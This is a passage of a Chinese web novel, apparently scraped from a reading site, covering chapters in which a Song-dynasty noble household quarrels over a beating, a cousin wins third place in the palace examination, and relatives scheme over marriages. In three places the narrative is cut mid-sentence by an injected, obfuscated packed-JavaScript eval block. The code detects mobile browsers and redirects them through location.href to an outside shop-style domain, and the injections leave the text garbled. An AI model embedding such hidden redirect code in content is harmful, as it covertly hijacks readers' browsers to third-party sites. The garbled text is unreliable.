邹妈妈跌跌撞撞跟在后面，一路苦劝：“夫人息怒，夫人三思。” 宋夫人只当耳旁风，，到了大房门前，见大门紧闭，喝令两个健壮小厮说：“给我砸开！” 王夫人听得外头喧哗震天，从里屋出来，见宋氏叉腰立在当院，看样气得不轻。 “哎哟，这是作甚？弟妹是要拆了我这屋子不成？”王夫人惊叫道。 宋夫人手指几乎戳到王夫人脸上，唾沫星子横飞：“我呸！你养的那两个天不收地不留的好儿子！还有没有王法天理了？你儿子在外头要谋财害命，泼天的屎盆子倒扣在我家舆哥儿头上，好狠毒的心肠！” “放屁！我儿子几时要害人性命？你红口白牙，休要血口喷人！”王夫人也急了，叉腰回骂。 “害没害人，把曹轸、曹轴那两个小贼给我叫出来，老娘今日定要与他们当面对质！”宋夫人说着，眼珠子骨碌碌往屋里乱瞟，恨不得立时揪出人来。 王夫人的小女儿曹兰书听见外面的动静，从厢房走出来，见这阵仗，连忙拉住宋氏衣袖，问：“婶婶息怒，这究竟为着何事？” “哼！”宋夫人一把甩开，“问你那两位好哥哥去。你也休叫我婶子，我可当不起你婶子。” 曹兰书软语相劝道：“婶子说哪里话，万事好商量，咱们坐下来好好说。您这般大张旗鼓的闹事，外头人看见了难免要笑话的。” “我儿命都快没了，还怕什么笑话。你少在这里和稀泥，快把你那两个好哥哥叫出来，看老娘不撕烂他们的臭嘴！”宋夫人破口大骂。 曹兰书见劝不住，只得含泪道：“婶婶且消消气，我这就去寻他们回来。”说罢，抹着眼泪匆匆去了。 宋夫人白了一眼，走到椅子跟前坐了下来：“你们大房这边可算是还有一个明白人。” 王夫人也不示弱：“你不过欺我孤儿寡母，无依无靠，欺我家官人是老太太抱养的。我好歹是你长嫂，你这般呼喝叱骂，眼里可还有半点尊卑？” “大嫂说这话好没良心。大哥哥虽非老太太亲生，可自小到大，吃穿用度，哪一样老太太偏了心、短了礼？若非老太太心慈，大哥是死是活，是码头上扛大包，是给大户人家当奴才，还是田里刨食儿，都是他的造化，更别提后来承袭这鲁国公的爵位。若非大哥福薄早亡，这爵位，还轮不到我家官人这正经嫡出的血脉呢！” 这话戳了王氏肺管子，她虽然一时语塞，但腰杆依旧挺得笔直，气势上半点不肯认输。 很快，曹兰书哭着把曹轸和曹轸找了过来，两个人也知道自己犯了错，吓得头也不敢抬。 王夫人一见，气得一把揪住曹兰书的头发，劈头盖脸骂道：“作死的小贱蹄子，谁让你把他们寻回来的？你是存心要看你哥哥们挨打受罚不成？” 曹兰书疼得泪珠儿滚落，仍倔强说：“错了便是错了，更何况是差点惹出人命官司，岂能躲着？” “吃里扒外的死丫头，心都偏到别人家去了。滚！别在我跟前碍眼！”王夫人狠狠一推。 宋夫人猛地一拍桌子，一院子的人瞬间安静了下来，曹轸曹轴两兄弟吓得直接跪在地上。 “我问你们，是谁差点儿把姓张的汉子打死的？” 曹轸道：“是…，是曹舆说，他看上那个朱三娘了，要娶朱三娘做外室。张汉子不愿意，开口要五百两银子。曹舆就说，让我兄弟俩把他打死，拖出去偷偷埋了。” “你血口喷人。”宋夫人气势汹汹，眼神像是要吃人，“再不说实话，我扒了你一层皮！” 曹轴也哆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202119|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗦着帮腔：“就是曹舆说的，是他让我们这么干的。” 宋夫人气极反笑：“你们什么时候这么听他的话了？他让你们干什么你们就干什么，他让你哥俩去吃屎，你们也去吃屎不成？” 曹轴喃喃道：“我们又不是狗，吃什么屎啊…” “还知道自己不是狗，那你兄弟两个怎么不干人事呢？” 邹妈妈在一旁看得心惊肉跳，终于觑个空子，上前扯了扯宋氏的袖子，低声道：“夫人，冤家宜解不宜结，得饶人处且饶人吧。闹僵了，大家脸上都不好看。” “没理还要占三分呢，得理凭什么要饶人！”宋夫人眼神凶狠，说话不紧不慢，却很有威慑力，“既然他哥俩不承认，那咱们就去报官，让青天大老爷来断一断。” 王夫人道：“告官便告官，老娘还怕了你不成？” 宋夫人腰板儿一挺，嗓门拔得老高：“我是身正不怕影子斜的，不像有些人，身上背了血债官司，打量着我不知道呢！” 王夫人脸色忽然间变得唰白，方才那要吃人的气势登时泄了大半，慌忙上前一步，想挽宋夫人的胳膊：“好弟妹，一家子骨肉，闹大了谁脸上有光？” “呸！我如今还怕丢人？”宋夫人一把甩开她，“你儿害得我舆哥儿差点送了命，这公道，我今儿是非讨不可！翻脸比翻书还快的东西，方才那威风呢？” 王夫人心知不妙，强堆起笑，对着旁边噤若寒蝉的丫头喝骂：“死人！还不快给夫人端上好的茶来！” “可不敢。”宋夫人冷笑一声，霍然起身，指着廊下几个小厮，“去，这就去开封府衙门前击鼓鸣冤，也替那些屈死在她手里的冤魂，讨个说法。” “弟妹，使不得，万万使不得。”王夫人魂飞魄散，一把攥住宋夫人的手，身子簌簌往下坠，“千错万错，都是曹轸、曹轴那两个孽障小畜生的错，我这就叫他们磕头赔罪，给舆哥儿，给二叔磕头认错，这样可行了？” “不行。”宋夫人眉梢一挑，乜斜着眼说。 “那……那还要怎样？” “我儿身上的伤，就白挨了？” 王夫人心领神会，一咬牙，转身厉声吩咐：“来人！取家法大棒来！今日我非打死这两个作孽的畜生，给弟妹消气不可！” 曹轸、曹轴兄弟俩早吓得面无人色，魂不附体，哪曾想闹到这般田地。 小厮不敢怠慢，递上碗口粗的硬木棒子。 王夫人双手高举，眼一闭心一横，那棒子带着风声，“呼”地就朝曹轸臀股上夯去！ “哎哟娘啊！”曹轸杀猪般嚎叫起来，捂着屁股满院子乱窜。 王夫人追打不上，气急败坏地喝令小厮：“给我死死按住。” 一时间，哭爹喊娘的哀嚎响彻整个院子。直打了三四十下，棒子都染了红，宋夫人才慢悠悠啜了口茶，唇角露出一丝满意的笑容，扶着丫头的手，大摇大摆扬长而去。 王夫人心疼得肝肠寸断，扑到两个瘫软如泥的儿子身上，眼泪不停往下掉。又抬眼看着宋夫人远去的背影，眼神充满恨意，巴不得千刀万剐了她。 8. 安亭蕴喜中探花郎 赴龙门才子登程 转眼春闱期近，安亭蕴打点好行装，预备往贡院应试。曹府上下都出来相送，老太太、老爷太太们、哥儿姐儿们挤了半院子，口里尽是些吉祥的话儿。 曹晚书身量娇小，被几个兄姐挡在后头，只得踮着脚尖儿，从人缝里向外张望。 安亭蕴目光扫过众人，一眼便瞧见了那藏在人后的纤弱身影，心头一暖，眉间郁色尽散，唇角漾开温柔笑意。 日头正好，金辉洒落，映得他清俊面庞如玉生光，长睫微颤，带有几分耀目。 “这些日子，承蒙老太太、舅舅、舅母并各位弟弟妹妹照拂，亭蕴感念于心，没齿难忘。”安亭蕴团团作揖，言辞恳切地说。 曹望寄予厚望，如慈父般重重拍了拍他的肩，笑道：“到了那龙门之地，但求才思如泉，笔下生花，一举夺魁。既为自家争气，也叫我们跟着沾光，哈哈…”说着，将手里提着的食盒递上马车，“这是你舅母亲手做的五香松瓤糕，带着考场里垫补些。” “承舅舅吉言。”安亭蕴含笑应了，登车挥手与众人作别。 当天晚上，曹玉书来到曹晚书屋里，姐妹俩躺在床上聊些女孩家的体己话。 玉书忽然问道：“五妹妹，你以后想嫁给什么样的人？” 晚书凝思片刻，说：“嗯…，不求他大富大贵，也不求他满腹经纶，只求他能够对我无微不至就好。我喜欢简单平淡，无波无澜的日子。” 她在书中见惯了大宅子里的勾心斗角，什么妯娌之争、妻妾争宠、兄弟阋墙、奴仆内斗等等。 这些不管哪一件，都是让人头疼的问题，还没准儿因为一些小事就丧命。 如果能够嫁到一家人口简单，公婆都明理的，那就最好不过了。曹晚书是这么想的，但是又觉得不太可能，也就只能想想了。 “那四姐姐，你想嫁给什么样的男子？” “我想嫁的人，要好看，其次是对我好，最好家室也好，这样我脸上也有光。”曹玉书想想，忍不住笑了起来，“我还想让他护着我，你也知道，我这个人，又比较任性妄为，如果那个人可以包容我的一切就好了。其实我也和你一样，想简单快乐的活着。” 晚书侧过身，望着她亮晶晶的眼睛，柔声道：“四姐姐这般品貌，日后定能得遇真心疼你的良人。” 玉书眼神却倏地黯了下来，声音里带着哽咽：“可母亲一心想送我入宫，都说宫门一入深似海，到那时，我害怕我便再不是我了。” “日子且长着呢，谁知将来如何。”晚书握住她的手，“常言道世上本无事，咱们何苦先做那庸人自扰？” 玉书被她逗得破涕为笑，伸手就去呵她痒痒。姐妹俩笑闹作一团，锦被翻腾，青丝交缠，笑得格外开心。 外面巡夜的管事婆子听见屋里动静，便在窗户外头喊了一句：“五姐儿别闹了，快睡下吧。” 姐妹一听动静，连忙将被子往上一提，盖在头顶，躲在被窝里头不敢说话。 过了好一会儿，外头没声了，估摸着管事婆子是走远了，便探出小脑袋瓜来，浑圆的大眼睛提溜转着，你看看我我看看你，又忍不住笑了起来。 “五妹妹，我总感觉你像变了一个人。你以前总爱跟我和大姐姐作对，可是现在，你乖巧又懂事，家里人都很喜欢你。虽然你我不是一个肚子出来的，可是我和你相处起来，比我跟大姐姐在一起还要亲。” 曹晚书愣了愣，不紧不慢吐出来几个字：“嗯…也许是我脑子开窍了？” “噗，哈哈哈，哪有人这么说自己的，傻丫头。” 不一会儿，曹玉书又摸着自己咕噜咕噜叫的肚子，忍不住道：“哎呦…，我晚饭吃的少，现在竟然又饿了。” “四姐姐你等着，我给你看样好东西。”曹晚书一骨碌从床上下来，走到柜子跟前，拿出来一个小筐，放在曹玉书面前。 曹玉书一瞧，顿时欣喜起来：“呀！是玉楼山洞的梅花包子、宝阶糕、鲍螺酥、山药元子，竟然还有雪花酥。” 她忍不住捏了捏晚书的脸颊，“原来你这小妮子，夜夜藏着这许多好东西打牙祭呢。” 晚书只淡淡笑了笑，一时无话。 且说安亭蕴这边。 不久，放榜的日子就到了，曹望和宋夫人，带着曹辕、曹舆、曹轼兄弟三个，陪安亭蕴一起去了东华门看榜。 崇政殿一直到东华门，熙熙攘攘挤满了人群，上至达官贵族，下至平民百姓，都想一睹今年新科进士的风采。 当然，有人欢呼雀跃，也有人垂头丧气，总之就是几家欢笑几家愁，中榜的人全家笑开了花儿，而那些名落孙山的，个个耷拉着脸，阴沉的像烧了十几年的黑锅底。 从第一列开始看，一眼就看见了安亭蕴的名字。 进士一甲第三人——济州安亭蕴。 曹辕激动地叫了起来，连连大喊：“中了！中了！二表哥中的一甲探花，哈哈哈。” “哈哈哈。”曹望捋着胡须，笑得合不拢嘴，眼睛眯成了一条缝，“这孩子争气，日后定有大出息。” 安亭蕴目光炯炯地盯着自己名字，看了半天，小声自言自语道：“母亲，儿子出息了。” 这厢喜气尚未散尽，早被那专在榜下捉婿的豪奴富贾觑见。 一群穿绸裹缎的老爷们，带着一群家丁，饿虎扑食般围将上来。 这个扯住安亭蕴的袖口：“公子，我家有女品貌端方，正堪匹配。” 那个便拽住他的袍带：“休听他胡吣，他家女儿是个麻子。公子且随我去，我家陪嫁良田千顷，东京城里十间旺铺！” 你推我搡，唾沫横飞，把安亭蕴围在中间，堵的水泄不通。 曹望脸上那点喜色瞬间褪得干干净净，这等乘龙快婿的好事，自家那几房丫头还没个定论，倒叫这些腌臜泼才抢了先？ 他重重咳了一声，三个儿子会意，忙使出吃奶的力气，连推带搡，护着安亭蕴杀出重围，慌不迭塞进轿子。 轿帘刚放下，马蹄方欲起，一个胖大员外腆着肚子追了上来，扒着轿窗，气喘如牛：“公…公子，金榜题名，人生大喜，何不喜上加喜？我家小女……” 还没说完，后面又追来几个老头，个个争红了眼： “这位公子是我家先看中的！” “放屁！明明是我家先搭的话！” 争执不下，似要动手强抢。 曹望吓得魂飞魄散，一把掀起轿帘，对着轿夫嘶声吼：“蠢材，还不快跑。加鞭！加鞭！” 那马儿吃痛，撒开四蹄狂奔，总算将那群饿狼甩脱。 宋夫人坐在轿中，啐道：“呸，一帮子没脸没皮的，打量着新贵人脸嫩好欺，就想白捡个金龟婿？也不撒泡尿照照自己。” 回到曹府，惊魂甫定。 宋夫人立时将亲生的儿子曹舆唤到跟前。 看他那副吊儿郎当、站没站相的模样，气不打一处来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202120|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，指着鼻子骂道：“我的儿，你须得替娘争口气。瞧瞧你二哥曹辕，头悬梁锥刺股，是个读书种子；便是你六弟曹轼，小小年纪，也晓得在书堆里用功。偏生是你，三天打鱼，两日晒网，心思全系在瓦子勾栏那些下贱去处。眼瞅着来年你二哥也要下场，若他高中，日后轼哥儿也出息了，独独你，文不成武不就，烂泥扶不上墙，你让娘这张老脸，日后往哪搁？” 曹舆浑不在意，嬉皮笑脸道：“娘这话差了。二哥六弟，不都是咱曹家的骨血？他们金榜题名，娘脸上不也有光？再说，人各有命，儿子天生就不是那块料。儿子想好了，等身上这顿板子养利索了，就去投军，一刀一枪，搏个封妻荫子，岂不快哉？” “什么？！”宋夫人脸都白了，一把抓住曹舆的胳膊，“我的活祖宗，你趁早死了这条心，那行军打仗是好耍子的？刀枪无眼，白刀子进红刀子出，这可是拿命换前程。娘就你这一个亲生的肉疙瘩，你要是有个三长两短，是要剜娘的心肝，逼娘去跳河啊。”说着，眼泪便滚了下来。 曹舆见母亲真急了，反倒收了嬉笑，只那惫懒劲儿还在，摊手道：“您看，您嫌我没出息，又不许我去搏前程。儿子这也不是，那也不是，您这不是让儿子作难么？” 宋夫人捶胸顿足：“我宁愿你一辈子没出息，就在我眼皮子底下混着，也不许你去碰阎王爷的勾当。你要敢去，娘就先死给你看。” 曹舆索性破罐破摔，二郎腿一翘：“您依不依的，横竖拦不住。明儿我就寻父亲说去。这军，儿子是投定了。”说罢，起身要走。 宋夫人气得浑身乱颤，指着他背影哭骂：“孽障，不孝的孽障。你是要活活气死我，好让我早早闭了眼，省得为你操碎了这颗心，呜呜呜……” 紫蝶苑。 曹望今日心绪甚佳，多饮了几杯，歪在柳姨娘床上。 柳姨娘只穿了件水红色抹胸，外罩一件衫子，软绵绵地伏在曹望胸前，两人耳鬓厮磨，温存了好一番。 柳姨娘起身下床，赤着脚儿走到案几旁，案上摆着几碟果品并一壶温着的好酒。她执起酒注，先给曹望斟了一浅杯，又给自己也满上。 “对酒当歌，人生几何。”曹望接过酒盅，美滋滋地抿了一口，话匣子也打开了，“今日听主考的严老大人漏了口风，说咱们亭蕴啊，原是该点状元的。奈何生得忒俊俏了些，生生被排到了第三位，做了探花。 哈哈，你道那状元是谁？竟是个六十多岁的老棺材瓤子。考了怕有十几次，胡子都白了才捞着这状元。更有趣的是，听说也有那不开眼的，榜下抢婿，一窝蜂把状元老爷抢回了家，掀开轿帘一看，好家伙！一个胡子花白的老叟，他家那如花似玉的黄花大闺女还在房里等着呢！臊得那家老爷和状元公，两个老家伙你看我我看你，哈哈哈哈哈！”曹望说得兴起，拍着大腿直乐。 柳姨娘也忍不住笑了起来，他又从柜子里，拿出曹轼写的文章给曹望看：“你瞧，这是轼哥儿写的文章，今儿还被薛先生夸了。说他文章深刻透彻，行文舒展自如。” 曹望接过看了看，连连点头，欣慰地笑了笑：“不错，的确不错。日后若是轼哥儿也能金榜题名，让我高兴高兴就好了。” 柳静钗又问：“老爷，咱们晚丫头的婚事，您有打算了吗？” “她大姐姐四姐姐的婚事还没有着落，你急个什么劲儿。亭蕴中了探花，我想着把大姐儿许配给他，这样咱们家也能沾上点光。” 9. 你给我家做女婿吧 柳姨娘悔失佳婿 柳静钗怔愣了半晌，才回过神来，难以置信道：“您不是说要把晚丫头许配给亭蕴吗？怎么如今又变成金丫头了？” 曹望打了个酒嗝，酒意上涌，浑不在意地摆了摆手：“嗐，此一时彼一时罢了。当初我是提过晚丫头，可你不是嫌他是个穷酸举子，家底单薄，死活不乐意么？ 再者，那时候我是打定主意要把大姐儿许给襄阳王的，谁成想，大姐儿跟襄阳王的婚事黄了。” 他又咂咂嘴接着道：“如今倒好，亭蕴一举高中探花，前程无量。大姐儿的年纪与亭蕴正相当，郎才女貌，说起来也算是天作之合。 晚丫头还小呢，离及笄还有两年的光景。亭蕴已是弱冠之年，又有功名在身，汴京城多少双眼睛盯着他，万一被别家捷足先登抢了去，咱们就是肠子悔青了也没用。” 柳静钗心里五味杂陈，悔得肠子都青了。 当初她嫌弃安亭蕴出身寒微，料定他难成大器，谁能想到，人家是个深藏不露的真才子。 这么一个现成的金龟婿，平白便宜了宋夫人的女儿，她如何甘心。 曹望瞧出了她的心思，伸手拍了拍她的肩膀，温言劝慰道：“好了好了，静钗，你也别恼。咱们的女儿，还愁找不到好人家？日后我定然为咱们晚丫头，寻一门富贵体面的好亲事，包管不叫你失望。” 柳姨娘依偎在他怀中，低着头一言不发，心里偷偷打起了小算盘，琢磨着该给女儿寻个什么样的人家才好。 可思来想去，只觉得安亭蕴是再好不过的人选，只可惜自家女儿年纪太小，整整比安亭蕴小了七岁。 曹晚书如今还是个稚气未脱的小丫头，年龄毕竟摆在那里，总不能让人家探花郎等上她两年。 放榜的喜气还未散尽，官家便摆驾金明池，设宴款待今科新贵。安亭蕴早早起身，将那套预备妥当的官服穿戴齐整。 头上一顶长翅乌纱帽，一侧插了朵碗口大的猩红绢花，身上一领鹦哥绿的崭新官袍，衬得他面如傅粉，眼似点漆，端的是一位风流俊俏的探花郎。 曹晚书一溜小跑跟在他身后，嘴甜得像抹了蜜，连声奉承：“二表哥真真是文曲星下凡，蟾宫折桂，拔得头筹，妹妹给您道喜啦！” 安亭蕴嘴角噙着一抹温润的笑意，回身虚扶了她一把：“五妹妹这张巧嘴儿，尽会拣好听的话说。我能有今日，不过是托了妹妹的福气罢了。” “二表哥忒也谦虚了，这福气可是实打实落在您头上的。”曹晚书眨巴着一双杏眼，望着表哥这身通身的气派。 不知怎地，忽地想起《诗经》里夸赞美男子的句子，“有匪君子，如切如磋，如琢如磨”，可不正是眼前这人活生生的写照么？ 曹家几位姑娘，连同曹晚书在内，都央告了长辈，要去金明池开开眼界，瞧瞧新科进士游街的排场。 谁知通往金明池的大道，早被看热闹的男男女女挤得水泄不通，车马寸步难行，众人只得下了车，在人潮里慢慢往前捱。 这一路上，曹望那张脸绷得紧紧的，一双眼睛死死黏在安亭蕴身上，半步都不肯离开。 他防的是甚？ 还不是防那些榜下捉婿的权贵人家！ 汴京城里多少富贵门第，都盯着这些新出炉的进士老爷，尤其是安亭蕴这般年轻俊俏的，更是众人争抢的香饽饽。 他曹望可是老早就瞧准了这块肥肉，一心盘算着收作自家东床快婿，焉能让旁人半道截了胡？ 手快有，手慢无，这个道理他门儿清。 好容易挨到金明池边，安亭蕴随着状元、榜眼一同登上官船，在碧波之上赴宴去了。 曹望这才抹了把额头的冷汗，长长地吁了口气。 金明池外头，除了那些奉命捉婿的豪奴家丁，还挤满了花枝招展的大姑娘小媳妇，一个个伸长了脖颈，踮着脚尖，只为一睹那传闻中如谪仙下凡的探花郎风采。 晚书心里暗暗感叹，这般光景，真是应了王安石那句诗：“却忆金明池上路，红裙争自绿衣郎。” 今年的状元刘掩，是个年过花甲的老学究，胡子都白了，莫说妻妾成群，怕是重孙子都能打酱油了，自然无人问津。 最抢手的，当属贺榜眼与探花安亭蕴。 曹晚书曾听大姐曹金书嚼舌根：放榜那日，贺榜眼刚出贡院，就被礼部尚书府的家丁一窝蜂扛了回去。 尚书大人连哄带吓，当场便将自家闺女许配给他，还拍着胸脯说不要聘礼，反倒贴丰厚嫁妆。 “真是‘十年寒窗无人问，一朝成名天下知’啊。”贺榜眼坐在官船之上，望着满池碧波，忍不住慨然长叹，说罢举起满斟的金杯，一仰脖便饮了个干净。 老状元刘掩捋着雪白的长髯，附和道：“万般皆下品，唯有读书高哇。老夫活了这一把年纪，总算是尝透了这句话的滋味。” 贺榜眼又给自己斟满一杯酒，转头冲着安亭蕴举杯笑道：“安贤弟年少英才，一举高中探花，当真是了不得。” 安亭蕴浅浅一笑，举杯还礼，语气谦和：“贺兄谬赞了。小弟才疏学浅，不及贺兄万一。” 宴罢，众进士大多喝得东倒西歪，被家人仆从搀扶着各自回去。 安亭蕴也带了几分醉意，缓步踱回曹府。 曹老太太提前得了信，忙不迭吩咐厨房熬了浓浓的醒酒汤，守着他咕咚咚喝了下去。 安亭蕴起身对着曹老太太躬身作揖，言说明日便要搬离曹府，多谢府上这些时日的盛情款待。 曹老太太哪里肯依，拍着床沿嗔怪道：“好哥儿，你莫不是中了探花，就嫌弃我这老婆子了？不许走，就在府里住着！” 安亭蕴再三推辞不过，只得暂时应承下来。 原来官家另有恩典，赐下三千贯铜钱，专供这班新科贵胄宴饮交际。 惯例是以状元为首，众人依次做东，日日笙歌，夜夜宴席，名为联络同年情谊，实则是借机攀结人脉，为日后的官场铺路。 可这三千贯铜钱，听着数目不小，真要撒开了花用，压根不够使。想要置办一场像样的酒席，没有万贯家财打底，根本打不住。 安亭蕴心里自有盘算，自家根基浅薄，没必要用这许多银钱去填无底洞。 况且酒席之上结交的，多是些酒肉朋友，能有几分真心实意？倒不如不去的好。 官家赏赐的这三千贯钱，他转眼便在汴京城寻了一处寻常宅院置办下来，又买了一匹脚力尚可的骟马代步。几番开销下来，那笔赏钱也就见了底。 房子既已买下，便再无继续借住曹府的道理。 临搬走的前一日，曹望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202121|197234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里那点小九九再也按捺不住，催着宋氏去探探安亭蕴的口风。 厅堂之内，曹望看着安亭蕴，搓着手掌，嘿嘿干笑几声，话在嘴边滚了几滚，怎么也说不出口。 宋夫人也在一旁陪着笑脸，一时不知如何启齿。 安亭蕴是个伶俐通透人儿，早瞧出这对夫妇肚里的盘算，索性主动开口，打破了这份尴尬：“舅舅、舅母可是有什么吩咐？不妨直言。” 宋夫人连忙接过话头，脸上堆满了殷勤的笑意：“亭蕴啊，你今年该是二十整了吧？弱冠之年，正是成家立业的好时候。 如今你金榜题名，功名已就，舅母想着给你说门亲事。咱们两家亲上加亲，你早日成家立室，岂不是好上加好？” 曹望在一旁连连点头如捣蒜，其实这番算计，从安亭蕴进京赶考之前就开始了。 他先是特意托人传话给山东安家，邀他来府中住下，为的就是近水楼台先得月。 如今安亭蕴受了曹府这许久的恩惠，这门亲事，总不好推脱了吧？ 不料安亭蕴脸上的笑容淡了几分，他早料到曹望属意的是哪个女儿，当下便起身拱手，言辞恳切地推辞道：“舅母厚爱，亭蕴铭感五内。只是侄儿虽侥幸得中，如今不过是个翰林院编修的七品微职，俸禄微薄，根基未稳。侄儿想着再等上几年，待仕途稍有进益，立稳了脚跟，再议婚娶之事也不迟。” 他这番话意思表达得明明白白：眼下，他不打算成亲。 曹望皱起眉头，失声道：“啊？你的意思…是这两年都不娶了？” 他心里可是急坏了！ 翰林院编修虽说是个小官，却是清贵无比的差事，常在御前行走，日后的前程不可限量。 这么好的金龟婿，怎能眼睁睁放过呢。 安亭蕴态度十分坚定：“正是，侄儿眼下不打算娶妻。” 宋夫人心里飞快地盘算起来：她的大女儿金书，今年已经十七岁，正是花儿一样的年纪，哪里等得起两年？ 待到十九岁，早已过了婚配的好时候，好人家可就难寻了。次女玉书，她是存了心要送进宫里博富贵的，断不能便宜了安亭蕴。 剩下的，便是大房王夫人那边的兰书，还有眼前这个庶出的晚书了。兰书是大房的姑娘，这好女婿千万不能落到大房手里。 这么算来算去，只剩下晚书一个人选。 只恨这丫头是柳姨娘肚皮里爬出来的，不过倒还乖巧懂事，知道孝顺长辈，模样也生得周正，过两年正好及笄。 反正都是曹家的孩子，跟亲生的也没两样，只是讨厌她那个眼皮子浅的亲娘罢了。 这么一想，宋夫人脸上又绽开了笑容：“好，好，过两年就过两年。哥儿有志气，想先立业后成家，舅母懂。只是哥儿啊，”她话锋一转，“到那时候，可别忘了咱们曹家，别忘了你这些妹妹们呀！” 安亭蕴听出了她话里的弦外之音，当即郑重道：“舅舅舅母放心，滴水之恩，当涌泉相报。曹府待亭蕴的这份恩情，亭蕴时刻铭记在心，不敢或忘。” 宋夫人最是惯会察言观色，见好就收，立刻岔开了话头，亲热地拉着家常：“哥儿真是个知恩图报的好孩子，等你回山东见着你爹娘，千万替我们问好，就说我们这边府里，上上下下都惦记着他们呢！” 10. 曹晚书学账济亲 自那日起，曹晚书并几个姐妹日日往老太太房中习学规矩。这日学的是管家理账的功夫。 老太太端坐榻上，背后垫着弹墨绫子靠背，两个小丫鬟在旁捶腿。 老太太命人搬来一摞账册，都是往年府中采买用度的记录。她先不言语，只让几个姑娘各自取了一真一假两本账目细细查看。 “祖母，这账目破绽也太显了些。市面上鸡蛋便是最贵时，也不过百文一筐。这一两银子的价，怕是凤凰蛋了罢？”曹金书说罢，掩口而笑。 曹玉书也翻到自己那本，蹙眉道：“一月五百筐鸡蛋，便是一人一日食十个，也得百十号人才吃得完。咱们府上统共不过这些人口，哪里消受得了？” 老太太看着曹晚书和坐在末位的曹兰书：“晚丫头、兰丫头，你们可看出什么来？” 曹兰书怯生生道：“孙女愚钝，两位姐姐说的，便是孙女想说的了。” 晚书将账本又翻过几页，才徐徐道：“祖母，这明面上的虚价浮数，自是容易看破。孙女倒觉得，真正的关节不在这些地方。” “哦？你且说说。” 晚书指着账本一段：“您看这修缮花园一项，三月里支了三百两银子。后头附的明细写着：购太湖石二十块、移栽牡丹五十株、添置石凳六张。单看无甚不妥，可翻到四月账目，同样写着补买太湖石五块、添牡丹十株。既已修缮完备，何须月月补买？” “孙女方才粗算，单这一项，一年多支的银子就不下五百两。这还只是明账上的，若商行与管事的有勾连，虚报数量，只怕十倍于此也不止。” 老太太默了半晌，惊叹道：“好个玲珑心肝的丫头。” 说罢命丫鬟重新上茶，细细讲起这管家账目里的乾坤来。 晚书听得入神，豁然开朗。 从前在现代也学过会计，但是从未想过背后还有这般天地。 当夜，晚书伏在小炕桌上，就着烛光翻看那些账册。 这些陈年旧账里，藏着许多往事。 譬如哪年府里娶亲、哪年修建别院、哪年灾荒减了用度等等，倒像是一个家族的兴衰实录。 她看得入迷，不知不觉已过了三更。 三个丫鬟早熬不住，在外间榻上睡了又醒，醒了又睡。 最后冷元子实在忍不住，披衣进来劝道：“我的好姑娘，这都四更天了，便是有天大的学问，也不急在这一时。仔细明日头疼。” 晚书这才依依不舍地合了账本。 天才蒙蒙亮，果子便来掀帐子：“姑娘快起，今儿可不能贪睡。” 晚书迷迷糊糊翻了个身，嘟囔道：“又是什么道理…？” “老一辈说，社日睡懒觉，一年都昏沉呢。”果子一边说，一边将人从被窝里挖出来。 冷元子端来温水服侍洗漱，又打开妆奁，取出一根五彩丝线编的细绳，上头串着瓣晒干的蒜头。“姑娘低头。”她说着将绳子系在晚书颈间。 晚书对着镜子照了照，哭笑不得：“这又是什么讲究？” “辟邪的。”梅子从外头进来，手里捧着新折的桃枝，“今日街上有社戏，热闹极了。大姑娘、四姑娘都去瞧了，咱们也去吧？” 左右无事，晚书便应了。 一行人出了角门，长街上人声鼎沸。 路旁搭了戏台，演的是土地公巡春。远处空场上摆着香案，供着三牲果品，几个乡老领着众人祭拜。 曹晚书这才明白，原来春社是祭祀土地神的日子。 坊间百姓凑份子买酒肉，祭罢便分食，谓之“散福”。 晚书看了一会儿，忽见人群里闪过一个熟悉身影。 那人骑着匹青骢马，神色匆匆，仔细一看，是安亭蕴。 “二表哥这是往哪里去？” 安亭蕴见是她，连忙下马：“是五妹妹啊。家母旧疾突发，我正要去请大夫。” 细问之下才知，安亭蕴今春刚将父母从山东接来京城。 他母亲曹氏患有怪病多年，起初只是腰背酸软，渐渐直不起身，如今已卧床不起。这几日病情加重，时昏时醒，看了许多大夫都不见好。 晚书心下恻然，她闲来无事，倒是翻过很多医书，便道：“表哥若信得过，容我去瞧瞧姑母可好？” 安亭蕴正愁寻不到名医，闻言忙道：“妹妹肯去，自然是好的。” 安家赁的宅子在榆钱胡同，是个一进的小院。里面收拾得干干净净，墙角还种着几丛晚香玉。 进了房门，床上躺着个妇人，面容憔悴，双颊凹陷。 “这是二舅舅家的五姑娘晚书。”安亭蕴俯身温言道。 曹氏喘息着打量晚书：“好孩子，难为你来看我。”说着突然咳嗽起来。 晚书忙上前为她抚背，这才发现，曹氏的后背是佝偻着的。 “姑母这病，可是午后发热，夜间盗汗，遇阴雨天便加重？” 